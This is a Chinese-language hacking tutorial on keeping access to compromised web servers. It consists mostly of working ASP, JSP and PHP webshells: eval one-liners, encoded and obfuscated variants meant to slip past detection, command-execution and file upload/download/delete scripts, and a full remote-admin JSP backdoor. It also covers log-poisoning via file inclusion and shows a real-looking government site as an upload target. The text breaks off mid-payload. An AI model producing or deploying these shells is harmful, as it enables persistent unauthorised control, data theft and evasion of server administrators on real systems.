维持访问 WebShell
一般大马在管理员发现后后会被删除,上传一些隐蔽的一句话,或者功能简单的脚本。
如果有旁站的话,插入WebShell到旁站。一句话可以插入到某些重要文件中。
插入的时候最好加上判断,可防止报错
|
1
|
<?php if(isset($_POST['1'])){eval($_POST['1']);}?>
|
ASP
后缀名
|
1
|
ashx asp aspx ascx asmx
|
绕过检测的方式
如果wscript.xxxxxx不能使用,可以使用classID调用,这里classID各个版本各有不同
|
1
2
|
<ObjEct runat=sErvEr iD=kk scOpE=pagE classiD="clsiD:72C24DD5-D70A-438B-8A42-98424B88AFB8"></ObjEct>
<%=kk.exec("cmd /c "+request("cmd")).stdout.readall%>
|
一句话
一般一句话
|
1
2
3
|
<%eval request("MH")%>
<%eval request(chr(35))%>
<%IfRequest("1")<>""ThenExecuteGlobal(Request("1"))%>
|
编码一句话,不过还是没有去掉eval
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<script language=vbs runat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
Function HextoStr(data)
HextoStr="EXECUTE """""
C="&CHR(&H"
N=")"
Do While Len(data)>1
If IsNumeric(Left(data,1)) Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
End If
Loop
End Function
</script>
|
使用JS编码
|
1
2
|
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt>
|
使用ScriptControl,这个没有仔细测试
|
1
2
3
4
5
6
|
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '参数SubCode作为过程代码
o.run "e",Server,Response,Request,Application,Session,Error '参数名e 调用之,同时压入6个基对象作为参数
%>
|
url中输入
|
1
2
|
http://localhost/tmp.asp?
SubCode=sub e(Server,Response,Request,Application,Session,Error) eval(request("v")) end sub&v=response.write(server.mappath("tmp.asp"))
|
或者菜刀配置中写入
|
1
|
<O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O>
|
遍历目录
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<%@ Language=vbscript %>
<%
'遍历目录以及目录下文件的函数
%>
<%
Function Bianli(path,Recursion)
Set Fso=server.createobject("scripting.filesystemobject")
On Error Resume Next
Set Objfolder=fso.getfolder(path)
Set Objsubfolders=Objfolder.subfolders
Set Objfile = Objfolder.Files
Response.write path
For Each file in Objfile
Response.write "<br>---"
Response.write file.name
Next
For Each Objsubfolder In Objsubfolders
Response.write "<p>"
if Recursion<>0 then
call Bianli(path+"\"+Objsubfolder.name,Recursion) '递归
end if
Next
Set Objfolder=nothing
Set Objsubfolders=nothing
Set Fso=nothing
End Function
%>
<%
dim path,Recursion
path = request("path")
Recursion = request("Recursion")
call Bianli(path,Recursion) '遍历d:盘
%>
<html>
<p>Testing...</p>
</html>
|
下载文件
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
<%@ language=vbscript codepage=65001%>
<%
'Filename must be input
if Request("Filename")="" then
response.write "<h1>Error:</h1>Filename is empty!<p>"
else
call downloadFile(Request("Filename"))
Function downloadFile(strFile)
' make sure you are on the latest MDAC version for this to work
' get full path of specified file
'strFilename = server.MapPath(strFile)
strFilename = strFile
' clear the buffer
Response.Buffer = True
Response.Clear
' create stream
Set s = Server.CreateObject("ADODB.Stream")
s.Open
' Set as binary
s.Type = 1
' load in the file
on error resume next
' check the file exists
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>"&strFilename&" does not exists!<p>")
Response.End
end if
' get length of file
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>Unknown Error!<p>")
Response.End
end if
' send the headers to the users Browse
Response.AddHeader "Content-Disposition","attachment; filename="&f.name
Response.AddHeader "Content-Length",intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
' output the file to the browser
Response.BinaryWrite s.Read
Response.Flush
' tidy up
s.Close
Set s = Nothing
End Function
end if
%>
|
执行命令
|
1
2
|
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%>
<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>
|
自己上传cmd的话这样写
|
1
|
<%=server.createobject("wscript.shell").exec("e:\aspx\cmD.EXE /c "&request("c")).stdout.readall%>
|
删除文件
|
1
2
3
4
5
6
|
<%
filepath=request("path")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(filepath)
Set fso = nothing
%>
|
重命名文件
|
1
2
3
4
5
6
7
|
<%
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(request("path"))
f.name =request("filename")
newname=f.name
response.write "已更名为"&newname
%>
|
移动文件
|
1
2
3
4
5
6
|
<%
dim fso
set fso = server.createobject("scripting.filesystemobject")
fso.movefolder request("name1"),request("name2")
set fso = nothing
%>
|
复制文件
|
1
2
3
4
5
6
|
<%
dim MyFSO
set MyFSO=Server.CreateObject("Scripting.FileSystemObject")
MyFSO.CopyFile request("name1"),request("name2")
set MyFSO=nothing
%>
|
上传文件Scripting.FileSystemObject
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<form name="FORM" action="upload.asp" method="post">
<input type=TEXT name=file style="width:300px;height:100px">
<input type=TEXT name=name size=20 maxlength=100>
<input type="submit" name="submit" value="OK">
</form>
<%
dim fs, f
set fs=Server.CreateObject("Scripting.FileSystemObject")
set f=fs.CreateTextFile(Request("name"),true)
f.Write(Request("file"))
f.Close
set f=nothing
set fs=nothing
Response.write Request("name")
%>
|
上传文件ADODB.Stream
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<form name="FORM" action="test.asp" method="post">
<input type=TEXT name=file style="width:300px;height:100px">
<input type=TEXT name=name size=20 maxlength=100>
<input type="submit" name="submit" value="OK">
</form>
<%
dim oFileStream
Set oFileStream = Server.CreateObject("ADODB.Stream")
oFileStream.Type = 2 'adTypeText =2
oFileStream.Mode = 3 'adModeReadWrite =3
oFileStream.open
oFileStream.WriteText Request("file")
oFileStream.SaveToFile Request("name"),2 'adSaveCreateOverWrite =2
set oFileStream=nothing
Response.write Request("name")
%>
|
JSP
绕过检测的方式
一句话
这个JSP的一句话比较恐怖
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
|
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "chopper";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
|
遍历目录
|
1
2
3
4
5
6
7
8
9
10
11
|
<%
String path;
path = request.getParameter("path");
java.io.File file = new java.io.File(path);
String [] s;
if(file.isDirectory()){
s = file.list();
for(int i=0;i<s.length;i++)
out.println(s[i]+"<br>");
}
%>
|
读取文件
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<%
java.lang.String strFileName;
java.io.File objFile;
java.io.FileReader objFileReader;
char[] chrBuffer = new char[100];
int intLength;
strFileName = request.getParameter("file");
objFile = new java.io.File(strFileName);
if(objFile.exists()){
objFileReader = new java.io.FileReader(objFile);
while((intLength=objFileReader.read(chrBuffer))!=-1)
out.write(chrBuffer,0,intLength);
objFileReader.close();
}
%>
|
执行命令
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<html>
<%
Process p=Runtime.getRuntime().exec("cmd /c "+request.getParameter("cmd"));
java.io.BufferedReader br=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String strline="";
StringBuffer result=new StringBuffer("");
while((strline=br.readLine())!=null)
{
result.append(strline+"\r\n");
}
%>
<%
if(result!=null && result.toString().trim().equals("")==false)
{
%>
<textarea name="hack" rows="20" cols="70"><%=result.toString()%></textarea>
<%
}
%>
</html>
|
上传文件
|
1
2
3
|
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
|
上传的本地页面
|
1
2
3
4
|
<form action="http://cgs.ytjj.gov.cn/ytcgs/dy.jsp?f=lanlan4.js" method="post">
<textarea name=t cols=120 rows=10 width=45>JSP大马代码</textarea><BR><center><br>
<input type=submit value="提交">
</form>
|
PHP
后缀名
|
1
|
php/php3/php4/php5/pht/phtml
|
一句话
普通一句话
|
1
2
|
<?php eval($_POST[sb])?>
<?php assert($_POST[sb]);?>
|
容错一句话,@是容错符,这里注意一点,使用assert的时候最好使用@,不然会爆一个Warning
|
1
|
<?php @assert($_POST[sb])?>
|
变量名做函数一句话
编码后的一句话,这是使用php变量可以做函数名这个特性,eval是不可变函数,不过assert可以
简单的形式
|
1
2
3
4
|
<?php
$a="assert";
$a($_POST[sb]);
?>
|
复杂的形式,大括号括起来代表变量的意思,里面的1-2-5做了运算其实是-6
|
1
2
3
4
|
<?php
@$_="s"."s"."e"."r";
@$_="a".$_."t";
@$_(${"_P"."OS"."T"}[1-2-5]);?>
|
这里就会有各种自由发挥了,大胆发挥想象力各种各样的shell就出现了
比如这种
|
1
|
<?php $aaaaa="sewtemznypianol";$bbbbb=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5}; $aaaaaa="edoced46esab_n"; $bbbbbb=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0};echo $bbbbb($bbbbbb("aXBjb25maWc="));?>
|
另一种变形,不过这个菜刀连接的话需要在配置中写入a=assert
|
1
2
3
|
<?php
@$_GET['a']($_GET['b']);
?>
|
不使用<?的一句话
|
1
|
<script language="php">@eval($_POST[sb])</script>
|
使用可执行函数的函数的一句话
php中有一些函数可以吧一个自定义函数当做回调函数比如array_map()
把函数名当做字符串参数传递的时候,自然就可以随意编码
|
1
|
<?php array_map("ass\x65rt",(array)$_REQUEST['1']);?>
|
文件包含伪装一句话
首先可以使用文件包含对一句话进行伪装
|
1
|
eval(file_get_contents('php://input'));
|
也利用了apche服务器的错误日志文件,当访问一个不存在的连接时,日志中会记录下这样的一句话。
|
1
|
[Thu Aug 08 08:47:43 2013] [error] [client 127.0.0.1] File does not exist: C:/wamp/www/test/12345
|
先在文件中插入
|
1
|
include($_GET['f']);
|
然后使用一句话当做地址访问页面,让浏览器在log中保存一句话,注意这里浏览器会自动将一句话进行编码再提交,这样的话时不能执行的
|
1
|
http://127.0.0.1/test/<?php eval($_POST[sb])?>
|
使用curl来达成访问
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
// 1. 初始化
$ch = curl_init();
// 2. 设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/test/<?php eval(\$_POST[sb])?>");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
// 3. 执行并获取HTML文档内容
$output = curl_exec($ch);
// 4. 释放curl句柄
curl_close($ch);
?>
|
之后吧log的地址当做参数传入即可,这里log位置须自行查找。
|
1
|
http://127.0.0.1/test/123.php?f=C:\wamp\logs\apache_error.log
|
这样会吧log文件全部包含并显示,比较明显,如果文件比较大会很慢。
而且如果第一次插入的PHP语句有错,那么后面再插入的便都不能执行了。
极度变态的一句话
有一些走极端的外国人,非要弄不包含字母和数字写shell极度自虐。
主要技术就是php中array被强转成string的时候会变成“array”,
|
1
2
3
|
$_[1 + ""] = "";
$_ = $_."";
var_dump($_);
|
字符之间可以进行位运算。
|
1
|
echo 'a'|'b';//c!
|
+””会被解析成0,猜测是php遇到加号会把结果转成int型,undefine value会被解析成0
|
1
2
3
4
5
|
echo +""; //0
echo 1+"";//1
echo ++$xxx //1 xxx undefine
$_="abc";
echo ++$_; //abd
|
这样这位外国大神就得到了一个没有字符的shell
|
1
2
3
4
5
6
7
|
<?
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"0x06").($_[+""]|"0x05").($_[+""]^"0x15"); //get
?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
|
经过另一位大神的改进去掉了数字
|
1
|
<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];$_=$__=$___=$____=$_____=$______=$_[+_]; $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++; $____++ |